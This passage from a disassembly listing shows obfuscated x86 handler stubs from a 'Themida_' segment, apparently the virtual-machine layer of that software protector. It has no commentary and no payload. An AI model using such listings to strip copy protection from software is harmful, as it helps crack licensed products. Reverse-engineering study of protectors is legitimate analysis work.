--------------------------------------------------------------------------- loc_55BDA7: ; CODE XREF: Themida_:0055632Bj or eax, eax jz loc_555A01 push dword ptr [edi+1Ch] mov ecx, [esp] push 697Ch mov [esp], esi push esp pop esi add esi, 4 jmp loc_554704 ; --------------------------------------------------------------------------- loc_55BDCA: ; CODE XREF: Themida_:00554A55j push edi mov edi, 49123B01h push 3CEAh jmp loc_553A1E ; --------------------------------------------------------------------------- loc_55BDDA: ; CODE XREF: Themida_:0055B2FBj add eax, 4C21409h sub eax, 403534CFh push dword ptr [esp] pop edi jmp loc_55772B ; --------------------------------------------------------------------------- loc_55BDED: ; CODE XREF: Themida_:00556FCEj mov eax, [esp] push edx mov edx, esp add edx, 4 jmp loc_555DAF ; --------------------------------------------------------------------------- loc_55BDFE: ; CODE XREF: Themida_:0055A12Bj add esp, 4 add esp, 4 shr eax, 18h xor eax, ecx sub esp, 4 mov [esp], eax push edx mov eax, [esp] add esp, 4 push dword ptr [esp] pop edx add esp, 4 push edx xchg ecx, [esp] jmp loc_5522D9 ; --------------------------------------------------------------------------- loc_55BE2C: ; CODE XREF: Themida_:0055D077j push dword ptr [edi+1Ch] push ebp mov ebp, 5F6B2E80h add [esp+4], ebp pop ebp jmp loc_554C3A ; --------------------------------------------------------------------------- loc_55BE3F: ; CODE XREF: Themida_:00558A51j push dword ptr [esp] pop ecx push 2478h mov [esp], edx push esp mov edx, [esp] add esp, 4 jmp loc_55B00C ; --------------------------------------------------------------------------- loc_55BE57: ; CODE XREF: Themida_:0055A62Aj pop esp jmp loc_55DC23 ; --------------------------------------------------------------------------- loc_55BE5D: ; CODE XREF: Themida_:00556DFCj push 7532h mov [esp], ebp push esp pop ebp add ebp, 4 push 789Bh jmp loc_555550 ; --------------------------------------------------------------------------- loc_55BE77: ; CODE XREF: Themida_:0055A953j add ebp, 4 push edi push edx push 3AA76DFEh jmp loc_552266 ; --------------------------------------------------------------------------- loc_55BE89: ; CODE XREF: Themida_:0055929Bj jmp loc_551815 ; --------------------------------------------------------------------------- loc_55BE8E: ; CODE XREF: Themida_:00554F0Dj add edi, ebx pop ebx push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp add esi, 2 xchg esi, [esp] mov esp, [esp] push ebx jmp loc_55CB1B ; --------------------------------------------------------------------------- loc_55BEAD: ; CODE XREF: Themida_:0055B44Aj pop dword ptr [esp] pop esp mov [esp], ebp mov ebp, 3F9F53F5h shl ebp, 1 jmp loc_55A62F ; --------------------------------------------------------------------------- loc_55BEC0: ; CODE XREF: Themida_:005575F2j mov ecx, esp push 443Ch mov [esp], ebp mov ebp, 4 sub ecx, 1E9C4A84h add ecx, ebp add ecx, 1E9C4A84h mov ebp, [esp] add esp, 4 add ecx, 4 push ecx jmp loc_554B0B ; --------------------------------------------------------------------------- loc_55BEEF: ; CODE XREF: Themida_:005546E5j not edi xchg eax, edi shl eax, 8 jmp loc_55DA74 ; --------------------------------------------------------------------------- loc_55BEFA: ; CODE XREF: Themida_:0055C4D5j mov eax, [esp] sub esp, 4 mov [esp], edi mov edi, esp push eax mov eax, 4 add edi, 101C3866h add edi, eax jmp loc_552893 ; --------------------------------------------------------------------------- loc_55BF18: ; CODE XREF: Themida_:00558405j push edx mov edx, esp push ebx mov ebx, 71DF296Eh jmp loc_55AEE3 ; --------------------------------------------------------------------------- loc_55BF26: ; CODE XREF: Themida_:0055CE93j neg eax shl eax, 4 xor eax, 0FBFDF3BCh mov edx, eax pop eax push ebp mov ebp, 2E8F5A12h shr ebp, 8 shl ebp, 5 neg ebp shl ebp, 4 jmp loc_55B9DC ; --------------------------------------------------------------------------- loc_55BF49: ; CODE XREF: Themida_:0055DC39j push ecx push ebx push 68E0629Fh pop ebx sub ebx, 4B0A3559h mov ecx, ebx pop ebx and esi, ecx mov ecx, [esp] add esp, 4 and esi, 4D0122D5h xor esi, 8002001h sub esp, 4 mov [esp], esi jmp loc_559A8A ; --------------------------------------------------------------------------- loc_55BF7C: ; CODE XREF: Themida_:0055CF5Dj push dword ptr [esp] pop ebx add esp, 4 sub esp, 4 mov [esp], ebx push 2296h mov [esp], esi mov esi, 54B56996h sub esp, 4 mov [esp], edi jmp loc_559F7A ; --------------------------------------------------------------------------- loc_55BFA1: ; CODE XREF: Themida_:0055C16Ej push eax mov al, 0C5h mov ch, al jmp loc_556E14 ; --------------------------------------------------------------------------- loc_55BFAB: ; CODE XREF: Themida_:00559F3Cj add eax, esi jmp loc_551955 ; --------------------------------------------------------------------------- loc_55BFB2: ; CODE XREF: Themida_:0055B98Ej pop esp sub esp, 4 jmp loc_55DB5C ; --------------------------------------------------------------------------- loc_55BFBB: ; CODE XREF: Themida_:005552D3j push edx push 4586h jmp loc_55CC45 ; --------------------------------------------------------------------------- loc_55BFC6: ; CODE XREF: Themida_:00551893j push esi jmp loc_55DBA4 ; --------------------------------------------------------------------------- loc_55BFCC: ; CODE XREF: Themida_:0055C38Bj push ebp mov ebp, edx jmp loc_556FBC ; --------------------------------------------------------------------------- loc_55BFD4: ; CODE XREF: Themida_:00554013j push small 6ECEh mov [esp], dx push ax pushf jmp loc_555485 ; --------------------------------------------------------------------------- loc_55BFE4: ; CODE XREF: Themida_:0055C26Fj push ebx mov ebx, 5AF817DAh mov eax, 7A3523BBh xor eax, ebx pop ebx shl eax, 3 jmp loc_55303D ; --------------------------------------------------------------------------- loc_55BFFA: ; CODE XREF: Themida_:00552B22j xchg eax, [esp] pop esp add esi, 5ACA280Bh add esi, edi sub esi, 5ACA280Bh pop edi xchg esi, [esp] mov esp, [esp] jmp loc_5569A1 ; --------------------------------------------------------------------------- loc_55C018: ; CODE XREF: Themida_:00552358j xchg esi, [esp] jmp loc_553DFF ; --------------------------------------------------------------------------- loc_55C020: ; CODE XREF: Themida_:00551A96j add eax, esi add eax, 107A366Fh pop esi push small word ptr [eax] jmp loc_558CBE ; --------------------------------------------------------------------------- loc_55C030: ; CODE XREF: Themida_:0055A8CFj add esi, edx pop edx jmp loc_55CB74 ; --------------------------------------------------------------------------- loc_55C038: ; CODE XREF: Themida_:00553DDAj mov esi, 4 add eax, esi jmp loc_55D26B ; --------------------------------------------------------------------------- loc_55C044: ; CODE XREF: Themida_:005595E8j add edx, eax sub edx, 1AE0657Ah jmp loc_554534 ; --------------------------------------------------------------------------- loc_55C051: ; CODE XREF: Themida_:0055501Ej add ebx, ebp pop ebp pop edx jmp loc_55211F ; --------------------------------------------------------------------------- loc_55C05A: ; CODE XREF: Themida_:00558F43j mov ebp, 6F63481Bh add edi, ebp pop ebp add edi, 8C9450E9h sub ebp, 43E61C42h add ebp, edi add ebp, 43E61C42h pop edi add ebp, 2 sub esp, 4 mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_5531AC ; --------------------------------------------------------------------------- loc_55C090: ; CODE XREF: Themida_:005554D0j mov ebx, edi jmp loc_553ACB ; --------------------------------------------------------------------------- loc_55C097: ; CODE XREF: Themida_:005522DBj not esi xchg esi, ecx jmp loc_553032 ; --------------------------------------------------------------------------- loc_55C0A0: ; CODE XREF: Themida_:00553B2Dj push ebx mov bx, 70FDh not bx add bx, 2E0Eh xor bx, 0FD79h push esi mov si, bx mov cx, si pop esi pop ebx jmp loc_55CA45 ; --------------------------------------------------------------------------- loc_55C0C0: ; CODE XREF: Themida_:005538D4j push ebx xor dword ptr [esp], 356E2334h jmp loc_55A03C ; --------------------------------------------------------------------------- loc_55C0CD: ; CODE XREF: Themida_:00553C39j xor ecx, [esp] pop esp movsx ecx, ax jmp loc_55693A ; --------------------------------------------------------------------------- loc_55C0D9: ; CODE XREF: Themida_:00553EDDj add eax, 61633084h add ecx, eax pop eax xchg ecx, [esp] pop esp mov ebx, [esp] add esp, 4 push 10Bh mov [esp], ebp push edi mov edi, 1CEE6B9Ah push ebx jmp loc_552618 ; --------------------------------------------------------------------------- loc_55C0FF: ; CODE XREF: Themida_:0055BB4Ej not edi xor edi, 8BA9853Bh mov ebp, edi jmp loc_553815 ; --------------------------------------------------------------------------- loc_55C10E: ; CODE XREF: Themida_:005597E6j pop edx jmp loc_55DCB7 ; --------------------------------------------------------------------------- loc_55C114: ; CODE XREF: Themida_:0055D325j mov esp, [esp] mov [esp], cx jmp loc_551815 ; --------------------------------------------------------------------------- loc_55C120: ; CODE XREF: Themida_:0055504Dj add dword ptr [esp], 4 jmp loc_5519B4 ; --------------------------------------------------------------------------- loc_55C129: ; CODE XREF: Themida_:0055538Dj add al, 0D1h push ebx mov bh, 4 sub bh, 0C3h sub al, bh pop ebx add al, 0C0h jmp loc_555911 ; --------------------------------------------------------------------------- loc_55C13B: ; CODE XREF: Themida_:00559DFCj mov edi, 4 add ecx, edi jmp loc_558713 ; --------------------------------------------------------------------------- loc_55C147: ; CODE XREF: Themida_:00553FD8j xchg ebp, [esp] pop esp mov [esp], esi push ecx mov ecx, 38597804h jmp loc_552757 ; --------------------------------------------------------------------------- lodsb jmp loc_55286B ; --------------------------------------------------------------------------- loc_55C15F: ; CODE XREF: Themida_:00558AB9j add ecx, 4 xchg ecx, [esp] jmp loc_5562EE ; --------------------------------------------------------------------------- loc_55C16D: ; CODE XREF: Themida_:00556AFBj push ecx jmp loc_55BFA1 ; --------------------------------------------------------------------------- loc_55C173: ; CODE XREF: Themida_:00552E69j ror dword ptr [esp], cl pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_55C17C: ; CODE XREF: Themida_:00558F56j sub esi, 0CFF21854h jmp loc_559EF7 ; --------------------------------------------------------------------------- loc_55C187: ; CODE XREF: Themida_:00555424j push ebx mov ebx, 1E68581Ah add edx, 2A1854CDh sub edx, ebx sub edx, 2A1854CDh pop ebx push 0F0Eh jmp loc_558BCD ; --------------------------------------------------------------------------- loc_55C1A6: ; CODE XREF: Themida_:00556AC8j sub eax, 170D73EBh sub eax, 3525674Fh jmp loc_556F35 ; --------------------------------------------------------------------------- loc_55C1B5: ; CODE XREF: Themida_:00552ACEj mov edx, 2536105Ah shr edx, 6 push eax mov eax, 0C9B09081h sub edx, eax pop eax xor ebx, edx pop edx sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], ebp push edx jmp loc_55D2BD ; --------------------------------------------------------------------------- loc_55C1DB: ; CODE XREF: Themida_:0055ABE9j add edx, 4 jmp loc_556EFA ; --------------------------------------------------------------------------- loc_55C1E6: ; CODE XREF: Themida_:00557D9Dj mov dx, [esp] push edx jmp loc_555863 ; --------------------------------------------------------------------------- loc_55C1F0: ; CODE XREF: Themida_:005518E6j jmp loc_551815 ; --------------------------------------------------------------------------- loc_55C1F5: ; CODE XREF: Themida_:0055A820j pop esp mov [esp], edx jmp loc_55A92F ; --------------------------------------------------------------------------- loc_55C1FE: ; CODE XREF: Themida_:00553755j and eax, ebx mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_55BB31 ; --------------------------------------------------------------------------- loc_55C214: ; CODE XREF: Themida_:0055C477j sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], esp push edi mov edi, 4 add [esp+4], edi pop edi pop ebx push edi jmp loc_556B98 ; --------------------------------------------------------------------------- loc_55C235: ; CODE XREF: Themida_:0055D25Cj push 5049h mov [esp], esi jmp loc_559CD9 ; --------------------------------------------------------------------------- loc_55C242: ; CODE XREF: Themida_:0055A115j xchg ebp, [esp] pop esp mov [esp], ax jmp loc_55C420 ; --------------------------------------------------------------------------- loc_55C24F: ; CODE XREF: Themida_:005597D9j mov ebp, 71FE1BA9h jmp loc_5542F9 ; --------------------------------------------------------------------------- loc_55C259: ; CODE XREF: Themida_:00557312j sub esp, 4 mov [esp], ecx mov cl, 54h add cl, 60h shr cl, 7 jmp loc_5569B0 ; --------------------------------------------------------------------------- loc_55C26C: ; CODE XREF: Themida_:0055B7EDj mov [esp], eax jmp loc_55BFE4 ; --------------------------------------------------------------------------- loc_55C274: ; CODE XREF: Themida_:00554901j xor dl, 0B7h add bl, dl jmp loc_55C847 ; --------------------------------------------------------------------------- loc_55C27E: ; CODE XREF: Themida_:0055D6E1j add eax, 685B56F7h pop esi mov ebx, [esp] add esp, 4 push ebp push edx jmp loc_55D779 ; --------------------------------------------------------------------------- loc_55C291: ; CODE XREF: Themida_:0055CD12j push 4AEF449Ah push dword ptr [esp] pop ecx jmp loc_55CF3D ; --------------------------------------------------------------------------- loc_55C29F: ; CODE XREF: Themida_:00554352j add edx, edi jmp loc_55D5DA ; --------------------------------------------------------------------------- loc_55C2A6: ; CODE XREF: Themida_:0055D774j mov dl, ah pop eax push cx mov ch, 74h sub al, ch pop cx sub al, dl push ecx push ebx mov bh, 61h not bh shr bh, 1 jmp loc_557D92 ; --------------------------------------------------------------------------- loc_55C2C0: ; CODE XREF: Themida_:005526A9j push 64782790h pop edi add edi, 0D06742A7h mov ebp, edi pop edi push 2AEBh mov [esp], edi mov edi, 1BE96E2Ah add ebp, edi jmp loc_558957 ; --------------------------------------------------------------------------- loc_55C2E3: ; CODE XREF: Themida_:00559C83j add esp, 4 add esp, 4 add esp, 4 push 2C27h jmp loc_55B5EF ; --------------------------------------------------------------------------- loc_55C2FC: ; CODE XREF: Themida_:00556CACj push esp mov esi, [esp] add esp, 4 push ebx mov ebx, 34AB2734h shl ebx, 3 xor ebx, 0A55939A4h add esi, ebx pop ebx push edx jmp loc_5520B6 ; --------------------------------------------------------------------------- loc_55C31E: ; CODE XREF: Themida_:00556F50j add esi, eax pop eax push eax jmp loc_559F20 ; --------------------------------------------------------------------------- loc_55C327: ; CODE XREF: Themida_:0055DAACj push ebp mov ebp, 11277F36h dec ebp add ebp, 1A7DA8E1h or eax, ebp mov ebp, [esp] add esp, 4 xor eax, 636F6278h push eax jmp loc_5586C8 ; --------------------------------------------------------------------------- loc_55C34A: ; CODE XREF: Themida_:005568ABj push ecx jmp loc_55D234 ; --------------------------------------------------------------------------- loc_55C350: ; CODE XREF: Themida_:00552FD6j xor [esp], esi jmp loc_556FEB ; --------------------------------------------------------------------------- loc_55C358: ; CODE XREF: Themida_:0055933Aj inc edi push ecx push eax push 0FE00E26h pop eax xor eax, 2CA6471h jmp loc_55330E ; --------------------------------------------------------------------------- loc_55C36B: ; CODE XREF: Themida_:0055913Ej movsx ecx, al push ebx push esp pop ebx add ebx, 4 push ecx push edi mov edi, 7F8F2609h or edi, 6A84568Bh push edx jmp loc_55D94E ; --------------------------------------------------------------------------- loc_55C38A: ; CODE XREF: Themida_:0055C7CFj pop edi jmp loc_55BFCC ; --------------------------------------------------------------------------- loc_55C390: ; CODE XREF: Themida_:00553508j mov [esp], ecx jmp loc_5568B0 ; --------------------------------------------------------------------------- lodsd push edi mov edi, 376405E1h add edi, 55D2347Fh jmp loc_553387 ; --------------------------------------------------------------------------- loc_55C3AA: ; CODE XREF: Themida_:005592F2j shl cl, 1 push ax jmp loc_55B6CE ; --------------------------------------------------------------------------- loc_55C3B3: ; CODE XREF: Themida_:0055D0E3j pop ebp sub ebx, edi pop edi xor edx, eax jmp loc_551815 ; --------------------------------------------------------------------------- loc_55C3BE: ; CODE XREF: Themida_:00555B8Aj mov bh, cl pop ecx xor cl, bh pop bx jmp loc_5547DD ; --------------------------------------------------------------------------- loc_55C3CA: ; CODE XREF: Themida_:0055A1EBj not ebx push eax sub esp, 4 jmp loc_55B8F4 ; --------------------------------------------------------------------------- lodsb jmp loc_55D93D ; --------------------------------------------------------------------------- loc_55C3DE: ; CODE XREF: Themida_:00554687j add ebp, edx pop edx jmp loc_553C56 ; --------------------------------------------------------------------------- loc_55C3E6: ; CODE XREF: Themida_:00554647j pop esi push dword ptr [esp] pop eax push ebx push esp pop ebx jmp loc_5591F3 ; --------------------------------------------------------------------------- loc_55C3F3: ; CODE XREF: Themida_:0055BA0Fj xor edx, ebp pop ebp jmp loc_5585A3 ; --------------------------------------------------------------------------- loc_55C3FB: ; CODE XREF: Themida_:00551B50j push edi push esp jmp loc_55C768 ; --------------------------------------------------------------------------- loc_55C402: ; CODE XREF: Themida_:005542BCj sub ch, al mov ax, [esp] jmp loc_558BC5 ; --------------------------------------------------------------------------- loc_55C40D: ; CODE XREF: Themida_:00554FAEj add al, dh pop edx push cx sub esp, 4 mov [esp], eax jmp loc_55BA42 ; --------------------------------------------------------------------------- loc_55C420: ; CODE XREF: Themida_:0055C24Aj jmp loc_551815 ; --------------------------------------------------------------------------- loc_55C425: ; CODE XREF: Themida_:0055AC42j sub ebx, edx push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 push 2BDBh mov [esp], esi mov esi, 7B7D0DFBh sub ebx, esi jmp loc_55842D ; --------------------------------------------------------------------------- push ecx jmp loc_55D4D7 ; --------------------------------------------------------------------------- loc_55C453: ; CODE XREF: Themida_:00552168j dec ebx and ebx, 2EBD2A47h and ebx, 4DD0553Bh add ebx, 0F3800001h add edx, ebx pop ebx xchg edx, [esp] pop esp movzx eax, al push dword ptr [edi+eax*4] push dword ptr [esp] pop eax jmp loc_55C214 ; --------------------------------------------------------------------------- loc_55C47C: ; CODE XREF: Themida_:00553424j sub dh, 37h jmp loc_5586AA ; --------------------------------------------------------------------------- loc_55C484: ; CODE XREF: Themida_:00559CFEj sub esp, 4 mov [esp], ebx mov ebx, 4 add edx, ebx push dword ptr [esp] pop ebx jmp loc_559B7C ; --------------------------------------------------------------------------- loc_55C49A: ; CODE XREF: Themida_:005599CBj push eax xor dword ptr [esp], 4E406974h pop ecx jmp loc_55A353 ; --------------------------------------------------------------------------- loc_55C4A8: ; CODE XREF: Themida_:0055962Aj sub ecx, ebp sub ecx, 45110114h jmp loc_55242B ; --------------------------------------------------------------------------- loc_55C4B5: ; CODE XREF: Themida_:0055786Aj pop eax xchg esi, [esp] pop esp push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_55D7E7 ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] jmp loc_55BEFA ; --------------------------------------------------------------------------- loc_55C4DA: ; CODE XREF: Themida_:00555EFBj sub ecx, ebx pop ebx sub ebx, ecx jmp loc_55B79B ; --------------------------------------------------------------------------- loc_55C4E4: ; CODE XREF: Themida_:005546A9j sub ebx, eax pop eax jmp loc_556027 ; --------------------------------------------------------------------------- loc_55C4EC: ; CODE XREF: Themida_:0055511Aj pop ecx jmp loc_55B153 ; --------------------------------------------------------------------------- loc_55C4F2: ; CODE XREF: Themida_:00553488j add esp, 4 shr ecx, 0Bh jmp loc_5598D4 ; --------------------------------------------------------------------------- loc_55C500: ; CODE XREF: Themida_:00556622j mov [esp], eax jmp loc_55D03D ; --------------------------------------------------------------------------- loc_55C508: ; CODE XREF: Themida_:00553BD3j pop edi jmp loc_55D1DF ; --------------------------------------------------------------------------- loc_55C50E: ; CODE XREF: Themida_:0055DD66j push edx mov edx, 0D9529CDh neg edx dec edx push ebp mov ebp, 535F68BCh add ebp, 0BAD2DD68h xor edx, ebp pop ebp xor edx, 3F924D0h sub edx, 0FFA1B4C2h add eax, edx pop edx push ebp mov ebp, 4 sub eax, ebp pop ebp jmp loc_55A4EB ; --------------------------------------------------------------------------- loc_55C543: ; CODE XREF: Themida_:005558B2j push dx push eax mov ah, 10h mov dh, 0FDh jmp loc_55786F ; --------------------------------------------------------------------------- loc_55C54F: ; CODE XREF: Themida_:00554CDEj mov esi, [esp] add esp, 4 add ecx, 2 push 2D94h mov [esp], ecx push dword ptr [esp+4] pop ecx jmp loc_559117 ; --------------------------------------------------------------------------- loc_55C56D: ; CODE XREF: Themida_:0055AE2Cj mov [esp], ebx sub esp, 4 mov [esp], edx jmp loc_551A9B ; --------------------------------------------------------------------------- loc_55C57B: ; CODE XREF: Themida_:0055279Ej push dword ptr [esp] mov ecx, [esp] jmp loc_551D39 ; --------------------------------------------------------------------------- loc_55C586: ; CODE XREF: Themida_:00552765j push 4D8h jmp loc_559CF3 ; --------------------------------------------------------------------------- loc_55C590: ; CODE XREF: Themida_:00556B13j add ebp, 1E40BD4h add ebp, esi sub ebp, 1E40BD4h jmp loc_55B1D8 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], ax pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_55C5B3: ; CODE XREF: Themida_:00551BD0j mov dl, 1Ch sub cl, dl pop edx add al, 4Ah jmp loc_559932 ; --------------------------------------------------------------------------- loc_55C5BF: ; CODE XREF: Themida_:005538A1j mov ecx, [esp] add esp, 4 shl ebx, 2 jmp loc_55577D ; --------------------------------------------------------------------------- loc_55C5CD: ; CODE XREF: Themida_:00552752j push esp pop edi add edi, 4 jmp loc_55B141 ; --------------------------------------------------------------------------- loc_55C5DA: ; CODE XREF: Themida_:005589EAj xor edi, 2BCB241Dh jmp loc_552388 ; --------------------------------------------------------------------------- loc_55C5E5: ; CODE XREF: Themida_:00552DFBj mov edi, esp jmp loc_552487 ; --------------------------------------------------------------------------- loc_55C5EC: ; CODE XREF: Themida_:005535F5j pop eax add ch, bl add ch, 0FEh mov ebx, [esp] add esp, 4 sub esp, 2 jmp loc_55A105 ; --------------------------------------------------------------------------- loc_55C606: ; CODE XREF: Themida_:00557052j push dword ptr [edx] jmp loc_55D3A5 ; --------------------------------------------------------------------------- loc_55C60D: ; CODE XREF: Themida_:00554AF0j push 17E95F4Fh pop esi add eax, esi jmp loc_559ACE ; --------------------------------------------------------------------------- loc_55C61A: ; CODE XREF: Themida_:00555C5Bj push dword ptr [esp] mov ebx, [esp] add esp, 4 push ebp push esp mov ebp, [esp] add esp, 4 push esi mov esi, 7B8A633Dh add esi, 84759CC7h add ebp, esi pop esi add ebp, 4 xchg ebp, [esp] jmp loc_55C6A1 ; --------------------------------------------------------------------------- loc_55C64E: ; CODE XREF: Themida_:00556CF6j add ebx, eax pop eax push 69B5h jmp loc_55478B ; --------------------------------------------------------------------------- loc_55C65B: ; CODE XREF: Themida_:0055D70Aj or ecx, 0F8619EFh sub ecx, 1EAC8EAEh mov edx, ecx pop ecx jmp loc_555392 ; --------------------------------------------------------------------------- loc_55C66F: ; CODE XREF: Themida_:0055C993j mov eax, [esp] jmp loc_556206 ; --------------------------------------------------------------------------- loc_55C677: ; CODE XREF: Themida_:0055CC9Dj push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp or eax, eax jnz loc_55CD46 push 1 jmp loc_557E83 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_559CA5 ; --------------------------------------------------------------------------- loc_55C69B: ; CODE XREF: Themida_:00557072j push edx jmp loc_5597B9 ; --------------------------------------------------------------------------- loc_55C6A1: ; CODE XREF: Themida_:0055C649j mov esp, [esp] shr ecx, 7 push edx sub esp, 4 mov [esp], edi jmp loc_554E41 ; --------------------------------------------------------------------------- loc_55C6B3: ; CODE XREF: Themida_:0055B3DBj add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_556BFA ; --------------------------------------------------------------------------- loc_55C6C4: ; CODE XREF: Themida_:00558A5Bj add eax, ebx sub eax, 589D6708h mov ebx, [esp] add esp, 4 push ecx mov ecx, 48B75A99h jmp loc_5582BF ; --------------------------------------------------------------------------- loc_55C6DF: ; CODE XREF: Themida_:0055740Cj push ebx mov ecx, [esp] add esp, 4 push ebx push ecx pop ebx push ebx sub dword ptr [esp], 7F882A59h jmp loc_55D7D0 ; --------------------------------------------------------------------------- loc_55C6F6: ; CODE XREF: Themida_:0055969Dj push edx mov edx, 7F26248Fh mov eax, edx jmp loc_557879 ; --------------------------------------------------------------------------- loc_55C703: ; CODE XREF: Themida_:0055790Bj or ecx, ecx jz loc_554BBC push esp jmp loc_55AA1F ; --------------------------------------------------------------------------- loc_55C711: ; CODE XREF: Themida_:0055247Dj pop ebp mov esi, [esp] push ebp mov ebp, esp jmp loc_5546BA ; --------------------------------------------------------------------------- loc_55C71D: ; CODE XREF: Themida_:00559A19j jmp loc_551815 ; --------------------------------------------------------------------------- loc_55C722: ; CODE XREF: Themida_:00554F60j mov edi, 4EE856FFh jmp loc_55D04C ; --------------------------------------------------------------------------- loc_55C72C: ; CODE XREF: Themida_:005533A4j push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_55413F ; --------------------------------------------------------------------------- loc_55C739: ; CODE XREF: Themida_:0055DB33j mov edi, ebx pop ebx shr edi, 8 push ebp mov ebp, 45F5F2A4h add edi, ebp mov ebp, [esp] add esp, 4 add eax, edi pop edi add eax, 16031CDDh sub eax, edi sub eax, 16031CDDh jmp loc_55B66D ; --------------------------------------------------------------------------- loc_55C761: ; CODE XREF: Themida_:00558BE3j mov esi, esp jmp loc_558885 ; --------------------------------------------------------------------------- loc_55C768: ; CODE XREF: Themida_:0055C3FDj pop edi sub esp, 4 mov [esp], ebx mov ebx, 36BE6518h push esi push ebp mov ebp, 40AD65A5h mov esi, ebp pop ebp and esi, 5B0538BBh xor esi, 27977FFAh xor esi, 512C3A4Fh sub ebx, esi pop esi add edi, ebx mov ebx, [esp] add esp, 4 push edx mov edx, 6A1F39C2h shl edx, 2 xor edx, 0A87CE70Ah add edi, 45487A98h add edi, edx sub edi, 45487A98h pop edx xchg edi, [esp] mov esp, [esp] ror byte ptr [esp], cl pushf jmp loc_551815 ; --------------------------------------------------------------------------- loc_55C7CB: ; CODE XREF: Themida_:00553873j mov edi, ebp mov edx, edi jmp loc_55C38A ; --------------------------------------------------------------------------- loc_55C7D4: ; CODE XREF: Themida_:00558290j mov [esp], ebp jmp loc_554CE3 ; --------------------------------------------------------------------------- loc_55C7DC: ; CODE XREF: Themida_:0055D22Fj mov ebx, [esp] add esp, 4 xor eax, edx mov edx, [esp] add esp, 4 jmp loc_557814 ; --------------------------------------------------------------------------- loc_55C7EF: ; CODE XREF: Themida_:00552656j mov ebx, edx pop edx add edx, ebx pop ebx push edi mov edi, 44260D92h push ebx mov ebx, 11B3761Ah xor edi, ebx jmp loc_558BE8 ; --------------------------------------------------------------------------- loc_55C808: ; CODE XREF: Themida_:0055827Bj dec si shr si, 4 sub si, 0F77h or si, 2EF6h neg si push ax mov ax, 51C8h or ax, 503Ch push edi mov di, 10B7h or di, 5D02h jmp loc_553BF1 ; --------------------------------------------------------------------------- loc_55C834: ; CODE XREF: Themida_:00555993j push eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] jmp loc_55CB5C ; --------------------------------------------------------------------------- loc_55C847: ; CODE XREF: Themida_:0055C279j pop edx pop eax add bl, al push esi mov esi, esp add esi, 4 sub esi, 2 xchg esi, [esp] pop esp mov [esp], ax mov ah, 0EAh add bl, ah pop ax movzx eax, al push dword ptr [edi+eax*4] jmp loc_551815 ; --------------------------------------------------------------------------- loc_55C870: ; CODE XREF: Themida_:00557E7Ej xor [esp], esi xor esi, [esp] pop esp push ecx push esp pop ecx jmp loc_552C77 ; --------------------------------------------------------------------------- loc_55C87F: ; CODE XREF: Themida_:0055715Ej pop ebx jmp loc_558D74 ; --------------------------------------------------------------------------- loc_55C885: ; CODE XREF: Themida_:0055D1BEj push esi mov esi, 243C2EB7h jmp loc_55D478 ; --------------------------------------------------------------------------- loc_55C890: ; CODE XREF: Themida_:00551C37j sub esp, 4 mov [esp], ecx mov ch, bl push edx mov dh, ch mov [edi+eax*4+1], dh pop edx mov ecx, [esp] jmp loc_552ED5 ; --------------------------------------------------------------------------- loc_55C8AB: ; CODE XREF: Themida_:005519A7j jmp loc_551815 ; --------------------------------------------------------------------------- loc_55C8B0: ; CODE XREF: Themida_:00551E7Aj not ch xor ch, 0C1h sub al, 0F0h jmp loc_55B2C7 ; --------------------------------------------------------------------------- loc_55C8BC: ; CODE XREF: Themida_:00556628j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push edx push esi push 1439h jmp loc_555E21 ; --------------------------------------------------------------------------- loc_55C8DA: ; CODE XREF: Themida_:00554B9Dj pop edx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_5590A9 ; --------------------------------------------------------------------------- loc_55C8EC: ; CODE XREF: Themida_:0055B9D0j mov ebp, 4 sub eax, ebp jmp loc_552974 ; --------------------------------------------------------------------------- loc_55C8F8: ; CODE XREF: Themida_:0055A939j sub ebp, 1 not ebp sub ebp, 0AF0BB8B4h mov edi, ebp pop ebp add edx, edi jmp loc_55ABE3 ; --------------------------------------------------------------------------- lodsw push di jmp loc_552C19 ; --------------------------------------------------------------------------- loc_55C919: ; CODE XREF: Themida_:00551B2Dj push ebx mov bl, 0A3h jmp loc_551C9C ; --------------------------------------------------------------------------- loc_55C921: ; CODE XREF: Themida_:00554868j add ebx, 37100906h sub ebx, eax push edi sub esp, 4 mov [esp], ebp push 74341128h mov ebp, [esp] push ebp jmp loc_55CEFD ; --------------------------------------------------------------------------- loc_55C93E: ; CODE XREF: Themida_:00552796j shr ebx, 4 add ebx, 70356A48h mov eax, ebx jmp loc_553526 ; --------------------------------------------------------------------------- loc_55C94E: ; CODE XREF: Themida_:00558F12j mov esp, [esp] jmp loc_551913 ; --------------------------------------------------------------------------- loc_55C956: ; CODE XREF: Themida_:00552088j shl edi, 6 jmp loc_55BD39 ; --------------------------------------------------------------------------- loc_55C95E: ; CODE XREF: Themida_:00553C51j add al, 5Ah sub al, 0 push 7910h jmp loc_55B0E2 ; --------------------------------------------------------------------------- loc_55C96C: ; CODE XREF: Themida_:00555E72j push ebx mov ebx, 1A0403DFh jmp loc_55D017 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], eax push ecx mov ecx, 46D440BCh sub [esp+4], ecx pop ecx pop eax jmp loc_552AFA ; --------------------------------------------------------------------------- loc_55C991: ; CODE XREF: Themida_:0055B456j add bh, ah jmp loc_55C66F ; --------------------------------------------------------------------------- mov cx, [esp] push edx jmp loc_553800 ; --------------------------------------------------------------------------- loc_55C9A2: ; CODE XREF: Themida_:00552AD9j dec edi dec edi xor edi, 4026082Ah add edx, edi mov edi, [esp] 